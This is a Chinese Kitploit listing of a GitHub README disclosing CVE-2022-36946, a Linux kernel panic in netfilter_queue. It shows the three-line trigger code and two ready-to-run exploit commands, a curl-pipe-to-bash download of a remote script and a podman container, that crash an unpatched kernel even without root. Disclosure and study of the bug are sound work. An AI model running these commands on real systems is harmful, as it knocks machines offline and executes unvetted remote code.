Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-36946 — CVE-2022-36946 在 netfilter_queue 中的 Linux 内核恐慌 | Kitploit
工具/GitHubGitHub/pwnzer0tt1/cve-2022-36946
权限提升漏洞分析漏洞利用容器逃逸
GitHubpwnzer0tt1/cve-2022-36946

CVE-2022-36946

CVE-2022-36946 在 netfilter_queue 中的 Linux 内核恐慌

查看仓库网站
225162年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-36946

报告人:Domingo Dirutigliano 和 Nicola Guerrera

当我们在开发 firegex(我们为 CTF 攻防竞赛开发的应用程序防火墙)时,偶然发现了几次内核崩溃。

这个奇怪的行为随后被隔离和分析,最终发现了 netfilter 模块中(特别是 nfnetlink)的这一个潜在安全缺陷。

它是如何工作的?

当发送带有 0 字节 nfta_payload 属性的 nf_queue 裁决时,内核会发生崩溃。

nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );

这是因为 IP/IPv6 栈在输入钩子之后从数据包中提取了 IP(v6) 头部。

因此,如果用户将数据包截断到头部大小以下,这个 skb_pull() 将导致一个格式错误的 skb,从而引发崩溃。

尝试执行 curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash,即使是普通用户也可以(更多详情见下文)。

我们 真的 需要 root 吗...?

使用 Linux 命名空间,特别是用户命名空间(通过 kernel.unprivileged_userns_clone=1 启用),普通用户能够创建网络命名空间,从而使用触发崩溃的相同内核原语。

这将允许你在没有 root 权限的情况下利用该漏洞。

这种情况并不罕见:例如 podman 使用该选项来运行其(无根)容器,并且在一些发行版上默认启用该选项。

你也可以尝试在没有 root 权限的情况下执行漏洞利用,运行:

podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946

或者如果你想即时测试(只需安装 tar 和 curl):

curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash

修复

已在 Linux 内核 5.19 中修复 查看差异

Linux 内核安全团队的原始补丁 在此

利用此漏洞的要求:

  • 有漏洞的 Linux 内核
  • CAP_NET_ADMIN 能力(在命名空间中也可用)

为什么叫 panic6?

它在第六次尝试时成功,所以我们保留了这个名字。

一种关闭电脑的新方法:

终端速度

DevFest-2023 演示文稿

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing

下载工具